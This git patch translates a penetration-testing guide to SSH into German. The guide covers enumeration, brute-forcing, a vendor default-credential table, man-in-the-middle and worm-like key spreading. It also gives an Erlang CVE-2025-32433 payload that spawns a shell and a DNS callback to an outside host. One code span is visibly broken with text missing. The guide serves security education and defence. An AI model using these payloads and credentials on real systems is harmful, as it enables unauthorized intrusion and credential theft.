From aa9dbf6a80c43b5f170b2812ebbb7113d885c259 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:19:33 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-ssh.md'] to de --- .../pentesting-ssh.md | 94 +++++++++++++++---- 1 file changed, 75 insertions(+), 19 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index afd7a0046..2bd098e27 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -17,9 +17,9 @@ - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener - [CopSSH](https://www.itefix.net/copssh) – Implementierung von OpenSSH für Windows -**SSH-Bibliotheken (Server-seitige Implementierung):** +**SSH-Bibliotheken (Server-seitig implementiert):** -- [libssh](https://www.libssh.org) – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh); wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet +- [libssh](https://www.libssh.org) – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh) implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD Java-Bibliothek basiert auf Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2-Protokollbibliothek @@ -45,7 +45,7 @@ ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und - - Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.); - Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion); - Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.); -- Analyse der SSH-Versionen-Kompatibilität basierend auf Algorithmusinformationen; +- Kompatibilität der SSH-Version basierend auf Algorithmusinformationen analysieren; - Historische Informationen von OpenSSH, Dropbear SSH und libssh; - Läuft auf Linux und Windows; - Keine Abhängigkeiten @@ -69,7 +69,7 @@ use -t to change timeout) (default: 5) $ python3 ssh-audit ``` -[Siehe es in Aktion (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) +[Sieh es dir in Aktion an (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Öffentlicher SSH-Schlüssel des Servers ```bash @@ -93,7 +93,7 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ## Brute-Force-Benutzernamen, Passwörter und private Schlüssel -### Benutzernamen-Enumeration +### Benutzernamenenumeration In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen: ``` @@ -105,7 +105,7 @@ Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessle ### Private Key Brute Force -Wenn Sie einige ssh-Private-Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden: +Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` @@ -113,7 +113,7 @@ Oder das MSF-Hilfsmodul: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` -Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). +Or use `ssh-keybrute.py` (native python3, leichtgewichtig und hat veraltete Algorithmen aktiviert): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Bekannte schlechte Schlüssel finden Sie hier: @@ -129,7 +129,7 @@ Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen. ### Kerberos -**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` verwenden, um **über Kerberos zu authentifizieren**.\ +**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus. ## Standardanmeldeinformationen @@ -137,7 +137,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus. | **Anbieter** | **Benutzernamen** | **Passwörter** | | ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | -| Brocade | admin | admin123, password, brocade, fibranne | +| Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | @@ -147,7 +147,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus. | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | -| NetApp | admin | netapp123 | +| NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | @@ -158,10 +158,10 @@ Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzername **Angriffsweg:** - **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** effektiv den Verbindungsversuch zum SSH-Server. -- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt. +- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als der legitime SSH-Server ausgibt. - **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert** der Server des Angreifers die Anmeldeinformationen des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie aus und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint. -[**SSH MITM**](https://github.com/jtesta/ssh-mitm) tut genau das, was oben beschrieben ist. +[**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben ist. Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden. @@ -176,7 +176,7 @@ SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus: 3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen, 4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System. -Es ist vollständig selbstreplizierend und selbstverbreitend – und vollständig dateilos. +Es ist vollständig selbstreplicierend und selbstverbreitend – und vollständig dateilos. ## Konfigurationsfehler @@ -197,7 +197,7 @@ Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen ### SFTP-Befehlsausführung -Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen. +Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen. [Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -242,7 +242,7 @@ sudo ssh -L :: -N -f @I', 1) + b'\x5a' # 0x5a = 90 +s.sendall(pkt) +# additional CHANNEL_REQUEST packets can follow to run commands +``` +In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt. + +--- +### Erlang/OTP `sshd` (CVE-2025-32433) +* **Betroffene Versionen:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 +* **Ursache:** Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während sich die Sitzung noch im *userauth*-Zustand befindet. +* **Auswirkungen:** nicht authentifizierte **Remote-Code-Ausführung** (der Daemon läuft normalerweise als **root** auf eingebetteten/OT-Geräten). + +Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist: +```erlang +% open a channel first … then: +execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). +``` +Blind RCE / out-of-band detection kann über DNS durchgeführt werden: +```erlang +execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession +``` +Detection & Mitigation: +* Überprüfen Sie den SSH-Verkehr: **verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird**. +* Aktualisieren Sie Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer. +* Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) – insbesondere bei OT-Geräten. + +--- +### Andere betroffene Implementierungen +* **libssh** 0.6 – 0.8 (Server-Seite) – **CVE-2018-10933** – akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt. + +Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf *Zustandsmaschinen-Durchsetzung*. + ## References -- Sie können interessante Anleitungen finden, wie Sie SSH absichern können, unter [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html) -- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) +- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) +- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) +- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks Automatic Commands ```